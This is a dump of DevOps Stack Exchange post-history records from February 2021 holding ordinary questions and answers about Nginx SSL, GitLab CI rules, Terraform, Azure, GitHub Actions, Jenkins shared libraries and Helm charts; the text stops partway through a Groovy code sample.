  <row Id="41128" PostHistoryTypeId="2" PostId="13362" RevisionGUID="94068bad-7ddd-4f3e-a0e8-74d101b4c7c4" CreationDate="2021-02-13T14:26:34.273" UserId="14815" Text="Your listen 443 need to have ssl parameter to tell Nginx that all connections accepted on this port should work in SSL mode.&#xD;&#xA;&#xD;&#xA;See example at https://nginx.org/en/docs/http/configuring_https_servers.html#single_http_https_server&#xD;&#xA;&#xD;&#xA;Shown here for convenience:&#xD;&#xA;&#xD;&#xA;    server {&#xD;&#xA;        listen              80;&#xD;&#xA;        listen              443 ssl;&#xD;&#xA;        server_name         www.example.com;&#xD;&#xA;        ssl_certificate     www.example.com.crt;&#xD;&#xA;        ssl_certificate_key www.example.com.key;&#xD;&#xA;        ...&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="41129" PostHistoryTypeId="2" PostId="13363" RevisionGUID="2447661e-249e-4ae2-8913-1a43a7ea90c7" CreationDate="2021-02-13T14:50:52.100" UserId="11277" Text="I guess you can do it via `rules` keyword. It has multiple condition with environment variables or branch name or schedules. If you add detail about you want to do, i try to &#xD;&#xA;&#xD;&#xA;[Gitlab CI Rules][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/yaml/#rules" ContentLicense="CC BY-SA 4.0" />
  <row Id="41134" PostHistoryTypeId="4" PostId="12998" RevisionGUID="41fe7817-e321-40ec-ac19-8889fc11fc0f" CreationDate="2021-02-13T17:09:52.977" UserId="24678" Comment="edited title" Text="In k8s, do the controller nodes have to be in same VPC as the worker nodes for a cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41135" PostHistoryTypeId="2" PostId="13365" RevisionGUID="dddf8802-5ade-415f-a465-e17f1692c138" CreationDate="2021-02-13T18:52:17.217" UserId="25974" Text="Yes, you can use the [rules](https://docs.gitlab.com/ee/ci/yaml/#rules) syntax. You can use this in combination with regex for commit message, [ci_pipeline_source](https://docs.gitlab.com/ee/ci/yaml/#common-if-clauses-for-rules), &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;job1:&#xD;&#xA;  script: &#xD;&#xA;    - do something on schedule only&#xD;&#xA;  rules:&#xD;&#xA;    - if: '&quot;$CI_PIPELINE_SOURCE&quot; == &quot;schedule&quot;'&#xD;&#xA;      when: always&#xD;&#xA;&#xD;&#xA;job2:&#xD;&#xA;  script: &#xD;&#xA;    - runs on Merge request pipeline&#xD;&#xA;  rules:&#xD;&#xA;    - if: $CI_MERGE_REQUEST_ID&#xD;&#xA;      when: always&#xD;&#xA;    when: never&#xD;&#xA;&#xD;&#xA;job2:&#xD;&#xA;  script: &#xD;&#xA;    - runs on changes to anything in src directory or Dockerfile&#xD;&#xA;  rules:&#xD;&#xA;    - changes:&#xD;&#xA;        - src/*&#xD;&#xA;        - Dockerfile&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Note you can also [include](https://docs.gitlab.com/ee/ci/yaml/includes.html) multiple CI templates in your gitlab-ci.yml. Additonally, you can include a CI template with [&quot;hidden&quot;](https://docs.gitlab.com/ee/ci/yaml/#hide-jobs) job templates that you can reference with [extends](https://docs.gitlab.com/ee/ci/yaml/#extends):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Include ci files &#xD;&#xA;include:&#xD;&#xA; - local: '/templates/.scheduled-job-template.yml' # CI template with hidden job (.scheduled_job) that runs on schedule&#xD;&#xA; - local: '/templates/.lint-and-validate.yml' # contains jobs for linting and validating project&#xD;&#xA;&#xD;&#xA;job1:&#xD;&#xA;  extends:&#xD;&#xA;    - .scheduled_job&#xD;&#xA;  rules:&#xD;&#xA;    - if: '&quot;$CI_PIPELINE_SOURCE&quot; == &quot;schedule&quot;'&#xD;&#xA;      when: always&#xD;&#xA;&#xD;&#xA;job2:&#xD;&#xA;  script: &#xD;&#xA;    - runs on Merge request pipeline&#xD;&#xA;  rules:&#xD;&#xA;    - if: $CI_MERGE_REQUEST_ID&#xD;&#xA;      when: always&#xD;&#xA;    when: never&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In doing this you can compose the jobs/pipelines you want in its own yml file and then define the jobs using those templates in the gitlab-ci.yml, which will help keep things maintainable and clear if you are running numerous different pipeline/pipeline configurations from the same project." ContentLicense="CC BY-SA 4.0" />
  <row Id="41136" PostHistoryTypeId="5" PostId="13365" RevisionGUID="7dbb8a37-a0c0-49d2-bb04-afb8949f1908" CreationDate="2021-02-13T18:57:48.467" UserId="25974" Comment="fixed missing item in sentence" Text="Yes, you can use the [rules](https://docs.gitlab.com/ee/ci/yaml/#rules) syntax. You can use this in combination with regex for commit message, [ci_pipeline_source](https://docs.gitlab.com/ee/ci/yaml/#common-if-clauses-for-rules) or any other available CI variables.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;job1:&#xD;&#xA;  script: &#xD;&#xA;    - do something on schedule only&#xD;&#xA;  rules:&#xD;&#xA;    - if: '&quot;$CI_PIPELINE_SOURCE&quot; == &quot;schedule&quot;'&#xD;&#xA;      when: always&#xD;&#xA;&#xD;&#xA;job2:&#xD;&#xA;  script: &#xD;&#xA;    - runs on Merge request pipeline&#xD;&#xA;  rules:&#xD;&#xA;    - if: $CI_MERGE_REQUEST_ID&#xD;&#xA;      when: always&#xD;&#xA;    when: never&#xD;&#xA;&#xD;&#xA;job2:&#xD;&#xA;  script: &#xD;&#xA;    - runs on changes to anything in src directory or Dockerfile&#xD;&#xA;  rules:&#xD;&#xA;    - changes:&#xD;&#xA;        - src/*&#xD;&#xA;        - Dockerfile&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Note you can also [include](https://docs.gitlab.com/ee/ci/yaml/includes.html) multiple CI templates in your gitlab-ci.yml. Additonally, you can include a CI template with [&quot;hidden&quot;](https://docs.gitlab.com/ee/ci/yaml/#hide-jobs) job templates that you can reference with [extends](https://docs.gitlab.com/ee/ci/yaml/#extends):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Include ci files &#xD;&#xA;include:&#xD;&#xA; - local: '/templates/.scheduled-job-template.yml' # CI template with hidden job (.scheduled_job) that runs on schedule&#xD;&#xA; - local: '/templates/.lint-and-validate.yml' # contains jobs for linting and validating project&#xD;&#xA;&#xD;&#xA;job1:&#xD;&#xA;  extends:&#xD;&#xA;    - .scheduled_job&#xD;&#xA;  rules:&#xD;&#xA;    - if: '&quot;$CI_PIPELINE_SOURCE&quot; == &quot;schedule&quot;'&#xD;&#xA;      when: always&#xD;&#xA;&#xD;&#xA;job2:&#xD;&#xA;  script: &#xD;&#xA;    - runs on Merge request pipeline&#xD;&#xA;  rules:&#xD;&#xA;    - if: $CI_MERGE_REQUEST_ID&#xD;&#xA;      when: always&#xD;&#xA;    when: never&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In doing this you can compose the jobs/pipelines you want in its own yml file and then define the jobs using those templates in the gitlab-ci.yml, which will help keep things maintainable and clear if you are running numerous different pipeline/pipeline configurations from the same project." ContentLicense="CC BY-SA 4.0" />
  <row Id="41137" PostHistoryTypeId="2" PostId="13366" RevisionGUID="faf24115-22b2-414e-bc19-2cd6699dc14a" CreationDate="2021-02-13T19:21:13.823" UserId="25974" Text="I believe you should be able to reference the namespace name like so: &#xD;&#xA;&#xD;&#xA;`namespace_name      = azurerm_eventhub_namespace.eventhub[0].name`&#xD;&#xA;&#xD;&#xA;However, if the namespace_name field is a required parameter on the resources you are passing it to, you might run into other issues while you are trying to set enabled to false, as the resources depend on the output of the resource you are setting to count[0]. If you want them all to be conditional on the creation of the namespace, i would recommend continuing down your approach with the for_each over the local values. &#xD;&#xA;&#xD;&#xA;If you need to the other resources to not be created unless the namespace is created you can create a condition on your local value like this (assuming map):&#xD;&#xA;```&#xD;&#xA;locals{&#xD;&#xA;    hub = var.enable_eh ? {foo = &quot;bar&quot;, baz = &quot;qux&quot;} : {}&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;The for_each will omit the resources that are empty.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41138" PostHistoryTypeId="50" PostId="9216" RevisionGUID="64c77888-3ae3-40b3-a502-d151b8afe875" CreationDate="2021-02-14T01:01:40.133" UserId="-1" />
  <row Id="41140" PostHistoryTypeId="5" PostId="13355" RevisionGUID="4ff66e63-2b3b-4907-a84b-4ae4d3ff8bcb" CreationDate="2021-02-14T10:12:43.853" UserId="26080" Comment="added 565 characters in body" Text="To use servicetags api you have to register Microsoft.Netowork resource provider at azure subscription level.&#xD;&#xA;&#xD;&#xA;[![In you subscription blade][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Register Microsoft.Network][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/22yoe.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/gzKMz.png&#xD;&#xA;&#xD;&#xA;Instead you can use these api:&#xD;&#xA;&#xD;&#xA;to get the ip address list of  a specified Azure Service in a specified Azure region:&#xD;&#xA;https://azinfo.azurewebsites.net/api/servicetags/{regionName}/{serviceName}&#xD;&#xA;&#xD;&#xA;to get valid region names&#xD;&#xA;https://azinfo.azurewebsites.net/api/GetRegionNameList&#xD;&#xA;&#xD;&#xA;to get valid service names&#xD;&#xA;https://azinfo.azurewebsites.net/api/GetServiceNameList&#xD;&#xA;&#xD;&#xA;to get the all the ip address list of all Azure Services in a specified Azure region&#xD;&#xA;https://azinfo.azurewebsites.net/api/region/{regionName}" ContentLicense="CC BY-SA 4.0" />
  <row Id="41141" PostHistoryTypeId="2" PostId="13367" RevisionGUID="7d449313-f658-42c1-bde5-8a9db36cedbf" CreationDate="2021-02-14T22:27:08.830" UserId="26108" Text="I've been trying to stick to the &quot;infrastructure as code&quot; principle as much as possible in my work.&#xD;&#xA;&#xD;&#xA;But after the devops project got more complicated I started loosing the centralized perspective because the scope of used technologies and complexity are very rich: terraform, terraformer, terragrunt, pscore, bash, Azure CLI, Azure DevOps CLI, AzureAD module, msbuild, Java, various REST API calls...&#xD;&#xA;&#xD;&#xA;So I started writting scripts and code that calculate &quot;desired vs current&quot; state just for validation and overview, if everything is in the right state. Most of the time this information is everything I need, I don't need to &quot;go to the desired state&quot; because sometimes that actually means manual intervention (sometimes even from someone else).&#xD;&#xA;&#xD;&#xA;The output of these scripts is simple, currently they write into stdout something like this:&#xD;&#xA;```&#xD;&#xA;Name of thing         Desired state      Current state     Result&#xD;&#xA;----------------------------------------------------------------------&#xD;&#xA;THING A               This               That              NOT GOOD&#xD;&#xA;THING B               This               This              GOOD&#xD;&#xA;THING C               This               ?                 Timeout after 5 minutes&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;Result: &#xD;&#xA;- 2 things needs attention&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;My question is if there is some tool or standard targeted at this specific use case?&#xD;&#xA;- I have scripts, I could call them &quot;diff calculators&quot; that can output whether some &quot;thing&quot; or &quot;subthing of thing&quot; is in desired state and what is the current state&#xD;&#xA;- The tool produces nice table based UI output" ContentLicense="CC BY-SA 4.0" />
  <row Id="41142" PostHistoryTypeId="1" PostId="13367" RevisionGUID="7d449313-f658-42c1-bde5-8a9db36cedbf" CreationDate="2021-02-14T22:27:08.830" UserId="26108" Text="Tool to produce nice output about desired vs. current state" ContentLicense="CC BY-SA 4.0" />
  <row Id="41143" PostHistoryTypeId="3" PostId="13367" RevisionGUID="7d449313-f658-42c1-bde5-8a9db36cedbf" CreationDate="2021-02-14T22:27:08.830" UserId="26108" Text="&lt;configuration-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41144" PostHistoryTypeId="2" PostId="13368" RevisionGUID="7d4d3803-c062-4d30-853f-4804a30b422d" CreationDate="2021-02-15T11:40:05.473" UserId="25950" Text="Answering my own question here. &quot;Multi project pipeline&quot; is not necessary here. You simply have a single project and mark jobs with different &quot;tags&quot;. You can then register runners for these different tags, on different machines. &#xD;&#xA;&#xD;&#xA;(Artifacts are transferred from one job to the next the same, regardless if the runners are run on the same machine or on different ones)&#xD;&#xA;&#xD;&#xA;https://docs.gitlab.com/ee/ci/yaml/README.html#tags" ContentLicense="CC BY-SA 4.0" />
  <row Id="41145" PostHistoryTypeId="2" PostId="13369" RevisionGUID="0a1913d8-8a9b-4802-b332-3f68fa750311" CreationDate="2021-02-15T15:05:06.383" UserId="17486" Text="A gitlab runner is a process that f.e. tests, compiles your project, pushes the artefact to you artefact store etc.&#xD;&#xA;&#xD;&#xA;A Gitlab runner can be tagged inside Gitlab or via config.toml - so - you can assign runners via tags to Gitlab projects (shared). &#xD;&#xA;&#xD;&#xA;Gitlab runner are not designed to run an application 24x7. So - you assign a project to a runner (or a tag or all) to build you application). If you want to deploy the project, use the K8S deployment inside Gitlab (that must be connected to a specific Kubernetes environment based on you Git-branches etc). Or (just an example) run an AWX task that is able to push your new artefact via the artefact storage (docker registry). Also you could just call a SSH remote command on a script (via Gitlab runner) to start a deployment - but don't use the runner to &quot;host&quot; your environment. They will stop (per default after 1h) without a return code.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41149" PostHistoryTypeId="2" PostId="13371" RevisionGUID="daa58cb4-99e2-4ed3-a438-188a6af105c0" CreationDate="2021-02-15T17:33:08.113" UserId="26116" Text="```&#xD;&#xA; # This is a basic workflow to help you get started with Actions&#xD;&#xA;&#xD;&#xA; name: CI&#xD;&#xA;&#xD;&#xA; # Controls when the action will run. &#xD;&#xA; on:&#xD;&#xA;   # Triggers the workflow on push or pull request events but only for the main branch&#xD;&#xA;   push:&#xD;&#xA;     #branches: [ main ]&#xD;&#xA;   pull_request:&#xD;&#xA;     branches: [ main ]&#xD;&#xA;&#xD;&#xA;   # Allows you to run this workflow manually from the Actions tab&#xD;&#xA;   workflow_dispatch:&#xD;&#xA;&#xD;&#xA; # A workflow run is made up of one or more jobs that can run sequentially or in parallel&#xD;&#xA; jobs:&#xD;&#xA;   # This workflow contains a single job called &quot;build&quot;&#xD;&#xA;   build:&#xD;&#xA;     # The type of runner that the job will run on&#xD;&#xA;     runs-on: macos-latest&#xD;&#xA;&#xD;&#xA;     # Steps represent a sequence of tasks that will be executed as part of the job&#xD;&#xA;     steps:&#xD;&#xA;       # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it&#xD;&#xA;       - uses: actions/checkout@v2&#xD;&#xA;&#xD;&#xA;       - run: |&#xD;&#xA;           pwd&#xD;&#xA;           swift package init --type library&#xD;&#xA;           xcodebuild clean&#xD;&#xA;           xcodebuild test -project TimeFountain.xcodeproj -scheme TimeFountain CODE_SIGN_ENTITLEMENTS= DEVELOPMENT_TEAM= CODE_SIGNING_ALLOWED=NO&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The problem is that it isn't accessing the AlamoFire Swift Package which I committed into the project. The error I'm getting is: &#xD;&#xA;```&#xD;&#xA;...&#xD;&#xA;error: no such module 'Alamofire'&#xD;&#xA;1499&#xD;&#xA;import Alamofire&#xD;&#xA;1500&#xD;&#xA;       ^&#xD;&#xA;1501&#xD;&#xA;&#xD;&#xA;1502&#xD;&#xA;CompileSwift normal x86_64 &#xD;&#xA;...&#xD;&#xA;Error: Process completed with exit code 65.&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41150" PostHistoryTypeId="1" PostId="13371" RevisionGUID="daa58cb4-99e2-4ed3-a438-188a6af105c0" CreationDate="2021-02-15T17:33:08.113" UserId="26116" Text="Github actions can’t access swift package" ContentLicense="CC BY-SA 4.0" />
  <row Id="41151" PostHistoryTypeId="3" PostId="13371" RevisionGUID="daa58cb4-99e2-4ed3-a438-188a6af105c0" CreationDate="2021-02-15T17:33:08.113" UserId="26116" Text="&lt;github-actions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41152" PostHistoryTypeId="50" PostId="12902" RevisionGUID="80b44a1a-12e8-4af3-99ce-331819db2783" CreationDate="2021-02-15T18:01:30.127" UserId="-1" />
  <row Id="41155" PostHistoryTypeId="36" PostId="13372" RevisionGUID="7f23fb47-169d-4c92-afb7-f1f7d217c3dc" CreationDate="2021-02-16T03:32:08.773" UserId="-1" Comment="from https://stackoverflow.com/questions/66199908/azure-web-app-for-containers-connect-to-monitoring" />
  <row Id="41156" PostHistoryTypeId="2" PostId="13372" RevisionGUID="a318adf9-200e-4603-bfdf-0344076e4ce0" CreationDate="2021-02-14T20:41:00.007" UserId="9903" Text="Using [Azure Web App for containers][1] to serve a PHP App on Apache2 in a Linux container, I would like to see and further analyse my Application logs in [Azure Monitor][2]. From there I would like to configure a Dashboard as well as alarms.&#xD;&#xA;&#xD;&#xA;The Application, as well as HTTP logs are persisted to a storage container and can be followed using ```az webapp log tail```. &#xD;&#xA;&#xD;&#xA;I am unable to see or use them in Azure Monitoring. I tried to connect it using &quot;Storage accounts logs&quot; in Azure Monitoring, but my all of my queries (All Events, all Syslog, Response times) always return no data for any period.&#xD;&#xA;&#xD;&#xA;If possible, I would like to skip Application Insights built into the App for now, but rather tap Syslog, or the containers standard outputs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://%20https://azure.microsoft.com/en-us/services/app-service/containers/&#xD;&#xA;  [2]: https://azure.microsoft.com/en-us/services/monitor/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41157" PostHistoryTypeId="1" PostId="13372" RevisionGUID="a318adf9-200e-4603-bfdf-0344076e4ce0" CreationDate="2021-02-14T20:41:00.007" UserId="9903" Text="Azure Web App for containers Connect to Monitoring" ContentLicense="CC BY-SA 4.0" />
  <row Id="41158" PostHistoryTypeId="3" PostId="13372" RevisionGUID="a318adf9-200e-4603-bfdf-0344076e4ce0" CreationDate="2021-02-14T20:41:00.007" UserId="9903" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41160" PostHistoryTypeId="2" PostId="13374" RevisionGUID="ae4c4516-1d07-4b70-a126-ec89b2ec1c6d" CreationDate="2021-02-16T12:28:12.567" UserId="26108" Text="I found [Pester][1] which is just a powershell unit testing that can save Nunit XML results which can be published inside the pipeline.&#xD;&#xA;&#xD;&#xA;It's not &quot;desired&quot;/&quot;current&quot; state I had hoped for but it can in the end provide a nice overview of all the &quot;things&quot; whose states I need to observe.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://pester.dev/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41162" PostHistoryTypeId="6" PostId="13372" RevisionGUID="27892240-8857-4906-86ac-4b9ce9c384ff" CreationDate="2021-02-16T14:19:55.983" UserId="9903" Comment="added tags" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41163" PostHistoryTypeId="2" PostId="13375" RevisionGUID="a7f486d6-5302-484d-a9b3-073f9533f840" CreationDate="2021-02-16T17:33:57.160" UserId="4115" Text="Yes, but (to the best of my knowledge) you will have to use Scripted Pipeline within the shared library.  This means that the closure that you will pass to the shared library (in the below example, the closure is `sh 'run-tests'`) will also have to be Scripted.&#xD;&#xA;&#xD;&#xA;`Jenkinsfile`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;        runOnServers {&#xD;&#xA;            sh 'run-tests'&#xD;&#xA;        }&#xD;&#xA;        stage('Release') {&#xD;&#xA;            echo 'release'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In your shared library, a file named `vars/runOnServers.groovy`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def call(Closure closure) {&#xD;&#xA;  stage('Test') { &#xD;&#xA;    parallel({&#xD;&#xA;      SanJose: {&#xD;&#xA;        node(&quot;test &amp;&amp; san-jose&quot;) {&#xD;&#xA;          closure()&#xD;&#xA;        } &#xD;&#xA;      },&#xD;&#xA;      Dallas: {&#xD;&#xA;        node('test dallas') {&#xD;&#xA;          closure()&#xD;&#xA;        } &#xD;&#xA;      } &#xD;&#xA;    } &#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41164" PostHistoryTypeId="2" PostId="13376" RevisionGUID="466473ee-51b7-40a3-a441-be73e43ffde8" CreationDate="2021-02-16T21:13:26.337" UserId="739" Text="This seems like the sort of thing that configuration management tools like ansible are intended to solve.  You can [run ansible in check mode](https://docs.ansible.com/ansible/latest/user_guide/playbooks_checkmode.html#using-check-mode) to see what it would do." ContentLicense="CC BY-SA 4.0" />
  <row Id="41165" PostHistoryTypeId="2" PostId="13377" RevisionGUID="00968e39-5dc3-4572-90e3-1b489bda64ac" CreationDate="2021-02-17T02:15:54.987" UserId="26140" Text="As you suggested, having a build artifact to save the current commit SHA for the build would be ideal. Subsequent runs of the same workflow can download the artifact using the [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) action, which allows downloading artifacts generated from another workflow run.&#xD;&#xA;&#xD;&#xA;Snippet for uploading artifact:&#xD;&#xA;```yaml&#xD;&#xA;- name: Upload artifacts&#xD;&#xA;  uses: actions/upload-artifact@v2&#xD;&#xA;  with:&#xD;&#xA;    name: nightly-build&#xD;&#xA;    path: ./COMMIT_SHA&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Snippet for downloading the latest artifact from another workflow run:&#xD;&#xA;```yaml&#xD;&#xA;- name: Download artifacts&#xD;&#xA;  uses: dawidd6/action-download-artifact@v2&#xD;&#xA;  with:&#xD;&#xA;    workflow: nightly.yml&#xD;&#xA;    name: nightly-build&#xD;&#xA;    path: .&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41166" PostHistoryTypeId="5" PostId="11982" RevisionGUID="1669b182-fd57-40ef-8774-8c8e96197186" CreationDate="2021-02-17T06:34:13.140" UserId="26123" Comment="Currently accepted answer is wrong, updated to reflect new info" Text="I think the answer should be yes to ecdsa but no to ed25519, but that it is currently no to both.&#xD;&#xA;&#xD;&#xA;You can externally generate an ecdsa keypair and load it into ssh/config/ca but vault-1.4.3 cannot sign using it. I haven't tried ed25519.&#xD;&#xA;&#xD;&#xA;Golang's ssh code (which vault uses) doesn't appear to know how to sign with ed25519 but should be able to sign with ecdsa. However, I think there's an issue with an inappropriate default being set elsewhere that means it is always being told to use an rsa-based signing algorithm and hence doomed to fail for ecdsa keys. See:&#xD;&#xA;&#xD;&#xA;https://github.com/hashicorp/vault/issues/8414#issuecomment-656145432&#xD;&#xA;&#xD;&#xA;If I am right, it looks like an easy fix so it may be available soon.&#xD;&#xA;&#xD;&#xA;This is possible as of August 2020, see https://github.com/hashicorp/vault/pull/9824, tested with vault 1.6.2" ContentLicense="CC BY-SA 4.0" />
  <row Id="41167" PostHistoryTypeId="24" PostId="11982" RevisionGUID="1669b182-fd57-40ef-8774-8c8e96197186" CreationDate="2021-02-17T06:34:13.140" Comment="Proposed by 26123 approved by 739, 354 edit id of 1345" ContentLicense="CC BY-SA 4.0" />
  <row Id="41168" PostHistoryTypeId="5" PostId="1999" RevisionGUID="8a88595d-0a15-4168-8e63-526887f1ee77" CreationDate="2021-02-17T10:14:54.990" UserId="519" Comment="typo/grammar" Text="Normally, one important topic in DevOps is how we take care of automated creation and delivery of software artefacts.&#xD;&#xA;&#xD;&#xA;With the rise of data science there is a new type of artefact - monolithic binary blobs representing a trained neural net for example or other machine learning models. Such a blob can be many GB in size and its creation is not yet standardized AFAIK which brings organizations back to the pre-CI age. Nevertheless, such blobs have their version and associated collections of training data (corpora) which tend to grow rapidly as well.&#xD;&#xA;&#xD;&#xA;What are best practices to address this new challenge using DevOps methods - if even possible?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41169" PostHistoryTypeId="4" PostId="1999" RevisionGUID="8a88595d-0a15-4168-8e63-526887f1ee77" CreationDate="2021-02-17T10:14:54.990" UserId="519" Comment="typo/grammar" Text="Data Science pipelines and monolithic model blobs" ContentLicense="CC BY-SA 4.0" />
  <row Id="41170" PostHistoryTypeId="24" PostId="1999" RevisionGUID="8a88595d-0a15-4168-8e63-526887f1ee77" CreationDate="2021-02-17T10:14:54.990" Comment="Proposed by 519 approved by 707 edit id of 1346" ContentLicense="CC BY-SA 4.0" />
  <row Id="41171" PostHistoryTypeId="2" PostId="13378" RevisionGUID="8d1172a6-2339-48a8-bd63-4dae2bc1e8ca" CreationDate="2021-02-17T16:00:52.917" UserId="26151" Text="I have several release pipelines that build to a UAT environment on a continuous integration.  They await deployment to Production on an approval.  A new release cancels the previous Production deployment.&#xD;&#xA;&#xD;&#xA;Is there a way I can set retention so these deployments that will never be pushed to Production go away?  I'd like to still retain the previous production deployments for roll-back purposes.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/uN1K2.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="41172" PostHistoryTypeId="1" PostId="13378" RevisionGUID="8d1172a6-2339-48a8-bd63-4dae2bc1e8ca" CreationDate="2021-02-17T16:00:52.917" UserId="26151" Text="Azure Dev Ops delete releases not going to production" ContentLicense="CC BY-SA 4.0" />
  <row Id="41173" PostHistoryTypeId="3" PostId="13378" RevisionGUID="8d1172a6-2339-48a8-bd63-4dae2bc1e8ca" CreationDate="2021-02-17T16:00:52.917" UserId="26151" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;release-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41174" PostHistoryTypeId="2" PostId="13379" RevisionGUID="3f2a82c7-5f3b-49c1-a156-fb5285310e80" CreationDate="2021-02-17T16:22:46.713" UserId="24678" Text="This is a follow up question to my post [Parameterized Kubernetes manifest files?][1].&#xD;&#xA;&#xD;&#xA;I understand more about Helm now, after lots of reading, including the Learn Helm book (which I recommend). I still have this understanding that each microservice will have its OWN Helm chart? This defeats the purpose of what I wanted, where I just have ONE helm chart, and every time I want to use it, I just update the `Chart.yml` and `values.yml` files for each microservice, everything else is the same. For example, the microservice name, versions, and repo will change of course per microservice. Seems like I'm looking for a &quot;template&quot; for `Chart.yaml` and `values.yaml`. Is this possible to do? I don't know if it's recommended or not (I may not care).&#xD;&#xA;&#xD;&#xA;I come from a CloudFoormation background, where I just have ONE parameterized CloudFormation template, and I just pass it parameters pertinent to each microservice.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/13298/parameterized-kubernetes-manifest-files" ContentLicense="CC BY-SA 4.0" />
  <row Id="41175" PostHistoryTypeId="1" PostId="13379" RevisionGUID="3f2a82c7-5f3b-49c1-a156-fb5285310e80" CreationDate="2021-02-17T16:22:46.713" UserId="24678" Text="Use one Helm chart for ALL microservices?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41176" PostHistoryTypeId="3" PostId="13379" RevisionGUID="3f2a82c7-5f3b-49c1-a156-fb5285310e80" CreationDate="2021-02-17T16:22:46.713" UserId="24678" Text="&lt;kubernetes&gt;&lt;helm&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41177" PostHistoryTypeId="5" PostId="13379" RevisionGUID="451334e5-bbc4-4869-ac48-d0cc096d7b2d" CreationDate="2021-02-17T16:30:55.083" UserId="24678" Comment="added 110 characters in body" Text="This is a follow up question to my post [Parameterized Kubernetes manifest files?][1].&#xD;&#xA;&#xD;&#xA;I understand more about Helm now, after lots of reading, including the Learn Helm book (which I recommend). I still have this understanding that each microservice will have its OWN Helm chart? This defeats the purpose of what I wanted, where I just have ONE helm chart, and every time I want to use it, I just update the `Chart.yml` and `values.yml` files for each microservice, everything else is the same. For example, the microservice name, versions, and repo will change of course per microservice. Seems like I'm looking for a &quot;template&quot; for `Chart.yaml` and `values.yaml`. Is this possible to do? I don't know if it's recommended or not (I may not care).&#xD;&#xA;&#xD;&#xA;I come from a CloudFoormation background, where I just have ONE parameterized CloudFormation template, and I just pass it parameters pertinent to each microservice.&#xD;&#xA;&#xD;&#xA;**UPDATE:** I'm aware of Helm library charts, and I don't think they can provide the functionality I want?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/13298/parameterized-kubernetes-manifest-files" ContentLicense="CC BY-SA 4.0" />
  <row Id="41178" PostHistoryTypeId="5" PostId="13375" RevisionGUID="d7dfae24-5c78-4dc2-8a81-eb9db292a5e9" CreationDate="2021-02-17T20:30:02.017" UserId="6377" Comment="Adjusted code so it would run after testing" Text="Yes, but (to the best of my knowledge) you will have to use Scripted Pipeline within the shared library.  This means that the closure that you will pass to the shared library (in the below example, the closure is `sh 'run-tests'`) will also have to be Scripted.&#xD;&#xA;&#xD;&#xA;`Jenkinsfile`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;pipeline {&#xD;&#xA;    agent any&#xD;&#xA;    stages {&#xD;&#xA;        stage('Test') {&#xD;&#xA;            steps {&#xD;&#xA;                runOnServers {&#xD;&#xA;                    sh 'run-tests'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stage('Release') {&#xD;&#xA;            echo 'release'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In your shared library, a file named `vars/runOnServers.groovy`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;def call(Closure closure) {&#xD;&#xA;  parallel({&#xD;&#xA;    SanJose: {&#xD;&#xA;      node(&quot;test &amp;&amp; san-jose&quot;) {&#xD;&#xA;        stage('SanJose') {&#xD;&#xA;          closure()&#xD;&#xA;        }&#xD;&#xA;      } 